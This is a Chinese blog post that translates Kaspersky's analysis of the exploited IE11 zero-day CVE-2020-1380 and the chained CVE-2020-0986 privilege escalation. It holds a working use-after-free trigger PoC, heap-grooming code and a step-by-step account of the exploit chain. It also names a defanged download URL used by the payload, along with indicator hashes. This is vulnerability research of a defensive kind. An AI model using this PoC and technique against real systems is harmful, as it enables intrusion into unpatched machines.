已遭利用的Windows 0day漏洞 CVE-2020-1380 分析

卡巴斯基发布博客文章,简要分析了微软在8月补丁星期二修复的一个已遭利用 0day CVE-2020-1380。如下内容编译自该文章。

文章指出,2020年5月,卡巴斯基阻止了利用 IE 恶意脚本攻击某韩国公司的一次攻击活动。进一步分析发现该攻击利用了此前未知的完整链,内含两个0day exploit:一个是IE 的远程代码执行 exploit,一个是 Windows 的提权 exploit。和此前 OperationWizardOpium 攻击使用的完整链不同,这个新的完整链利用的是 Windows 10的最新版本,测试发现对 IE 11和 Windows 10 版本 18363 x64 的可靠利用。

2020年6月8日,卡巴斯基将问题告知微软并得到证实。当时,微软已开始为 CVE-2020-0986 准备补丁,不过刚开始对它的漏洞利用程度描述为“可能性较小”。该漏洞补丁在2020年6月9日发布。

微软在8月的补丁星期二为 JScript中的释放后使用漏洞分配编号 CVE-2020-1380。卡巴斯基将相关攻击活动称为“OperationPowerFall”。卡巴斯基表示目前尚无法确切地将它和任何威胁组织相联系,但鉴于和之前 exploit 存在的相似之处,它认为 DarkHotel 可能是攻击的幕后黑手。

IE 11 远程代码执行 exploit

近期发现的 IE 0day exploit 利用的是位于遗留的 JavaScript 引擎 jscript.dll 中的CVE-2020-0674、CVE-2019-1429、CVE-2019-0676和CVE-2018-8563。而CVE-2020-1380是存在于 jscript9.dll 中的漏洞,默认出现在IE9及后续版本中,因此,微软推荐的缓解措施(限制使用 jscript.dll)无法保护用户免受攻击。

CVE-2020-1380 是由 JIT 优化和缺乏对 JIT 编译代码进行检查造成的一个释放后使用漏洞。如下是触发该漏洞的 PoC:

function func(O, A, F, O2) {
    arguments.push = Array.prototype.push;
    O = 1;
    arguments.length = 0;
    arguments.push(O2);
    if (F == 1) {
        O = 2;
    }

    // execute abp.valueOf() and write by dangling pointer
    A[5] = O;
};

// prepare objects
var an = new ArrayBuffer(0x8c);
var fa = new Float32Array(an);

// compile func
func(1, fa, 1, {});
for (var i = 0; i < 0x10000; i++) {
    func(1, fa, 1, 1);
}

var abp = {};
abp.valueOf = function() {

    // free 
    worker = new Worker('worker.js');
    worker.postMessage(an, [an]);
    worker.terminate();
    worker = null;

    // sleep
    var start = Date.now();
    while (Date.now() - start < 200) {}

    // TODO: reclaim freed memory

    return 0
};

try {
    func(1, fa, 0, abp);
} catch (e) {
    reload()
}

要理解该漏洞,首先明确 func() 是如何执行的。有必要了解下A[5] 的赋值是什么。从代码中可看到,它应该是一个参数 O。在函数启动时,参数O被重新赋值为1,但之后函数参数长度被设定为0。这一操作不会清空函数参数(通常对常规数组会清空),但允许通过使用Array.prototype.push 将参数O2放入索引为0的参数列表中,也就是说现在O = O2。此外,如果参数F等于1,那么 O 会被再次重新赋值,不过是赋值为整数2。这说明根据参数F的不同赋值,参数O要么被赋值为O2参数的值,要么是整数2。参数A是一个32位浮点数的类型化数组,在将值分配给该数组索引5处之前,这个值应该被转换为浮点数类型。虽然将整数转换为浮点数相对简单,但当对象转换为浮点数时就没有这么简单了。该 exploit 使用了具有覆盖了valueOf() 方法的abp 对象。虽然当项目被转换为浮点数时会执行该方法,但方法内部含有释放 ArrayBuffer 的代码。该代码由 Float32Array 查看,并在其中设置返回值。为了阻止该值被存储在已释放的对象内存中,JavaScript 引擎需要在其中存储该值时检查对象的状态。为了安全地转换并存储浮点数值,JScript9.dll 使用了函数Js::TypedArray<float,0>::BaseTypedDirectSetItem()。该函数的反编译代码如下:

int Js::TypedArray<float,0>::BaseTypedDirectSetItem(Js::TypedArray<float,0> *this, unsigned int index, void *object, int reserved)
{
    Js::JavascriptConversion::ToNumber(object, this->type->library->context);
    if ( LOBYTE(this->view[0]->unusable) )
        Js::JavascriptError::ThrowTypeError(this->type->library->context, 0x800A15E4, 0);
    if ( index < this->count )
    {
        *(float *)&this->buffer[4 * index] = Js::JavascriptConversion::ToNumber(
            object,
            this->type->library->context);
    }
    return 1;
}
 
double Js::JavascriptConversion::ToNumber(void *object, struct Js::ScriptContext *context)
{
    if ( (unsigned char)object & 1 )
        return (double)((int)object >> 1);
    if ( *(void **)object == VirtualTableInfo<Js::JavascriptNumber>::Address[0] )
        return *((double *)object + 1);
    return Js::JavascriptConversion::ToNumber_Full(object, context);
}

该函数检查类型为浮点数的数组的view[0]->unusable和 count 字段以及在 valueOf()方法执行期间何时释放 ArrayBuffer。这两种检查都会失败,原因是 view[0]->unusable会被赋值为1,而count会在第一次调用 Js::JavascriptConversion::ToNumber()时赋值为0。问题在于,函数 Js::TypedArray<float,0>::BaseTypedDirectSetItem()仅用于解释模式下。
当函数 func() 被JIT编译时,JavaScript 引擎将使用如下易受攻击的代码。

if ( !((unsigned char)floatArray & 1) && *(void *)floatArray == &Js::TypedArray<float,0>::vftable )
{
  if ( floatArray->count > index )
  {
    buffer = floatArray->buffer + 4*index;
    if ( object & 1 )
    {
      *(float *)buffer = (double)(object >> 1);
    }
    else
    {
      if ( *(void *)object != &Js::JavascriptNumber::vftable )
      {
        Js::JavascriptConversion::ToFloat_Helper(object, (float *)buffer, context);
      }
      else
      {
        *(float *)buffer = *(double *)(object->value);
      }
    }
  }
}

Js::JavascriptConversion::ToFloat_Helper() 函数代码如下:

void Js::JavascriptConversion::ToFloat_Helper(void *object, float *buffer, struct Js::ScriptContext *context)
{
  *buffer = Js::JavascriptConversion::ToNumber_Full(object, context);
}
``
可以看到,和解释模式下不同,在 JIT 编译代码中,ArrayBuffer 的生命周期并未得到检查,其内存可被释放,随后通过调用 valueOf() 函数重新回收。另外,攻击者能够控制返回值编写的索引是什么。然而,当把 PoC 中的“arguments.length =0;”和“arguments.push(O2);”替换为“arguments[0] = O2;”时,那么由于间接调用会被禁用且它不会调用 valueOf() 函数,因此  Js::JavascriptConversion::ToFloat_Helper()将不会触发该 bug。

为了确保函数 func() 会被JIT编译,exploit 会执行 0x10000 次函数,对整数进行非恶意转换,而且只有当 func() 被再次执行时,才会触发该 bug。为了释放 ArrayBuffer,该exploit 使用了常见的 Web Workers API 滥用技术。函数 postMessage() 可用于将对象序列化到消息并将其发送给 worker。不过它带来的负面影响是,被传输的对象得到释放且在当前的脚本上下文中变得不稳定。当 ArrayBuffer 被释放时,exploit 通过模拟 Sleep() 函数使用的代码触发垃圾回收:它是一个 while 循环,检查 Data.now() 和之前所存储值之间的时间差。之后,该 exploit 会通过整数数组回收内存。`

```javascript
for (var i = 0; i < T.length; i += 1) {
        T[i] = new Array((0x1000 - 0x20) / 4);
        T[i][0] = 0x666; // item needs to be set to allocate LargeHeapBucket
    }
``
`
创建大量数组后,IE会分配新的 LargeHeapBlock 对象,用于 IE 的自定义堆实现。LargeHeapBlock 对象将会存储为这些数组分配的地址。如果预期的内存布局成功实现,那么该漏洞会覆盖 LargeHeapBlock的偏移量 0x14 处的值为0,而这恰好是分配的块计数。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20201014134948380.png#pic_center)
之后,该 exploit 分配大量数组并将它们设置为在利用初始阶段的另外一个数组。然后该数组被赋值为 null,而 exploit 会调用函数 CollectGarbage()。这就导致堆碎片整理,并且修改后的 LargeHeapBlock 及其相关的数组缓冲区将被释放。在这个阶段,漏洞利用会创建大量的整数数组,以期收回之前释放的数组缓冲区。新创建的数组的magic 值设置为索引0,并且通过指向先前释放的数组的悬空指针检查该值,以检测利用是否成功。

```javascript
   for (var i = 0; i < K.length; i += 1) {
            K[i] = new Array((0x1000 - 0x20) / 4);
            K[i][0] = 0x888; // store magic
        }

        for (var i = 0; i < T.length; i += 1) {
            if (T[i][0] == 0x888) { // find array accessible through dangling pointer
                R = T[i];
                break;
            }
        }

结果,该exploit 就创建了缓冲区指向同一位置的两个不同的JavascriptNativeIntArray 对象。这就使得检索对象地址、甚至是创建新的恶意对象成为可能。该 exploit 利用这些原语创建恶意 DataView 对象并获得对该进程整体地址空间的读/写访问权限。

构建了任意读/写原语后,就应该绕过 Control FlowGuard (CFG) 并执行代码。该exploit利用 Array 的 vftable 指针获得 jscript9.dll 的模块基址。之后,解析 jscript9.dll 的PE标头获取 Import DirectoryTable 的地址并解析其它模块的基址。这样做的目的是找到函数VirtualProtect() 的地址,从而使shellcode 变得可执行。之后,该 exploit 查找jscript9.dll 中的两个签名。这些签名对应Unicode 字符串“split”和函数JsUtil::DoublyLinkedListElement::LinkToBeginning()。该Unicode字符串“split”的地址用于获得该字符串的代码引用,以此解析实现字符串方法 split() 的函数 Js::JavascriptString::EntrySplit()的地址。函数LinkToBeginning() 的地址用于获取全局连接列表中第一个ThreadContext 对象的地址。该 exploit 定位连接列表中的最后一个输入并以此获得负责执行该脚本的栈的位置。接下来就是最后一个阶段了。该 exploit 执行 split() 方法并且具有覆写的 valueOf() 方法的对象作为一个limit参数提供。在执行Js::JavascriptString::EntrySplit()函数过程中执行被覆写的 valueOf() 方法时,该 exploit会搜索线程的栈,找到返回地址,将shellcode 放在准备好的缓冲区中,获取其地址并最终构建一个和面向返回的编程 (ROP) 链,通过覆写该函数的地址执行 shellcode。

下一步

该 shellcode 是附加在 shellcode 的可移植可执行文件 (PE) 模块的反射型 DLL 加载器。该模块非常小,而且整个功能位于一个函数中。它在临时文件夹中创建了一份文件,文件名为“ok.exe”并写入另外一个位于远程代码执行 exploit 中的另一个可执行文件的内容。之后,”ok.exe”被执行。

可执行文件“ok.exe”中包含的是任意指针应用漏洞 CVE-2020-0986 的提权 exploit。最初该漏洞是由一名匿名研究员在2019年12月通过趋势科技的 ZDI 项目报告给微软的,但由于微软在6个月之后仍未修复该漏洞,因此ZDI在5月19日公开漏洞详情。第二天该漏洞遭利用。

CVE-2020-0986 使得能够通过进程间通信读写splwow64.exe进程的任意内存、在splwow64.exe进程中实现代码执行、绕过 CFG 和 EncodePointer 防护措施。该 exploit的资源中内嵌着两个可执行文件。第一个是以 XreateDC.exe 写入磁盘,用于创建设备上下文 (DC) 以实施利用。第二个可执行文件的名称是“PoPc.dll”,且如果利用成功,则会被具有中等完整性级别的 splwow64.exe执行。
在这里插入图片描述
PoPc.dll 的主要功能也存在于一个函数中。它执行编码的 PowerShell 命令,从www[.]static-cdn1[.]com/update.zip中下载文件,在临时文件夹中保存为 upgrader.exe并执行。由于卡巴斯基在可执行文件下载前就已阻止该攻击,因此我们无法分析upgrader.exe。
IoC:

www[.]static-cdn1[.]com/update.zip
B06F1F2D3C016D13307BC7CE47C90594
D02632CFFC18194107CC5BF76AECA7E87E9082FED64A535722AD4502A4D51199
5877EAECA1FE8A3A15D6C8C5D7FA240B
7577E42177ED7FC811DE4BC854EC226EB037F797C3B114E163940A86FD8B078B
B72731B699922608FF3844CCC8FC36B4
7765F836D2D049127A25376165B1AC43CD109D8B9D8C5396B8DA91ADC61ECCB1
E01254D7AF1D044E555032E1F78FF38F
81D07CAE45CAF27CBB9A1717B08B3AB358B647397F08A6F9C7652D00DBF2AE24

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
2010年7月16日,Windows快捷方式自动执行0day漏洞[CVE-2010-2568](微软安全知识库编 号2286198)被披露,很快网上已经可以找到利用这个漏洞攻击的样本。利用Windows快捷方式自动执行0day漏洞可以做到:看一眼恶意软件就中 毒,而根本不需要去执行它。金山毒霸安全实验室预计在未来一段时间,这个漏洞将会被广泛使用,网民须高度重视。 攻击者利用Windows快捷方式自动执行0day漏洞,可以制作一个特殊的lnk文件(LNK是快捷方式文件的扩展名),当Windows解析这个 LNK文件时,会自动执行指定的恶意程序。这个漏洞最佳利用通道是U盘、移动硬盘、数码存储卡,也可以是本地磁盘或网络共享文件夹,当U盘或网络共享文件 夹存在这样的攻击程序时,只需要使用资源管理器,或与资源管理器类似的应用程序查看这个文件夹,不需要手动运行病毒程序,病毒自己就会触发。newjian.com 这个漏洞最令人吃惊的地方在于,“不需要双击病毒文件,仅看一眼文件图标就中毒”。几年前,曾经有个叫“新欢乐时光 (VBS.KJ)”的病毒广为流传,VBS.KJ病毒会在每个文件夹下生成desktop.ini和folder.htt文件(这两个文件控制了文件夹在 资源管理器中的显示)。只要打开被病毒修改过的含有desktop.ini和folder.htt的文件夹,不需要双击病毒,看一眼就中毒。现在和新欢乐 时光传播类似的病毒将要出现了,尽管我们现在还没有看到很多病毒作者利用Windows快捷方式漏洞传播,但相信这种病毒攻击一定会有。 Windows快捷方式自动执行0day漏洞存在所有流行的Windows版本,包括尚未公开发布的Windows 7 SP1 beta和Windows 2008 R2 SP1 beta。意味着,这个风险几乎遍布所有安装了Windows的电脑。 防止这个漏洞利用,微软方面提供了几个暂时缓解的方案: 1.关闭快捷方式图标的显示,不过这会让Windows界面变得奇丑,因为一个个漂亮的桌面图标和开始菜单图标全都不显示了。 2.建议企业用户关闭WebClient服务,个人用户(一般不使用网络共享资源)可以不必考虑这个问题。 3.关闭U盘自动播放可以避免插上U盘的动作就中毒,只有手动查看文件夹才有风险。 4.以受限用户权限运行计算机可以降低风险 对于喜欢使用各种Windows美化版的用户来说,可能麻烦更大一些,这些美化版大都修改了shell32.dll,针对这个Windows 快捷方式自动执行0day漏洞的修补程序,可能去修补shell32.dll,可能会让这些美化版出现一些问题。倘若这些真的发生了,那些使用美化版的盗 版Windows用户也许会拒绝这个重要的安全补丁,从而加剧利用漏洞的病毒传播。 这是一个需要安全厂商和所有消费者高度关注的安全漏洞,希望微软能在下一个例行补丁日到来之前提供应急补丁。金山毒霸安全实验室将会严阵以待,防止利用漏洞传播的病毒扩散。
CVE-2020-0796漏洞,也被称为"SMBGhost",是一个影响微软Windows操作系统的严重漏洞。该漏洞存在于Windows 10版本1903和1909之间的SMBv3协议中,攻击者可以利用漏洞执行远程代码,从而控制受感染的系统。 对CVE-2020-0796漏洞进行逆向分析是为了深入了解其工作原理及漏洞利用的具体细节。逆向分析通常包括静态和动态分析两个方面。 首先,静态分析是通过对漏洞程序的反汇编、分析源代码或查看二进制文件等方法来了解漏洞的工作原理。这可以帮助研究人员识别漏洞的关键功能、漏洞的出现位置以及可能的漏洞利用方式。 其次,动态分析是在虚拟化环境中或实际受感染的系统上运行漏洞程序,监视其行为并捕获关键信息。通过动态分析,研究人员能够观察到漏洞利用的具体过程,从而理解攻击者是如何利用漏洞来执行远程代码或获取系统权限的。 在逆向分析过程中,研究人员需要使用一些特定的工具,如反汇编器、调试器以及网络分析工具等。这些工具可以帮助研究人员获取漏洞程序的内部结构、系统调用、网络通信等关键信息,有助于理解漏洞利用方式和脆弱点。 通过逆向分析CVE-2020-0796漏洞,能够帮助安全专业人员更好地理解漏洞的工作原理,从而开发相应的补丁或安全措施以防止攻击者利用漏洞入侵系统。此外,逆向分析还有助于提高安全分析人员的能力和知识,进一步提升网络安全的整体水平。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值